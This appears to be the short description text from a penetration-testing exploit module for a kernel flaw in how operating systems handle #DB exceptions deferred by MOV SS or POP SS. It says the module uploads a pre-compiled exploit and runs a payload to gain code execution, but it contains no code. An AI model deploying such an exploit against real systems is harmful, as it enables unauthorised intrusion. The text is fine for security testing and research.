        This module exploits a vulnerability in a statement in the system programming guide
        of the Intel 64 and IA-32 architectures software developer's manual being mishandled
        in various operating system kerneles, resulting in unexpected behavior for #DB
        excpetions that are deferred by MOV SS or POP SS.

        This module will upload the pre-compiled exploit and use it to execute the final
        payload in order to gain remote code execution.
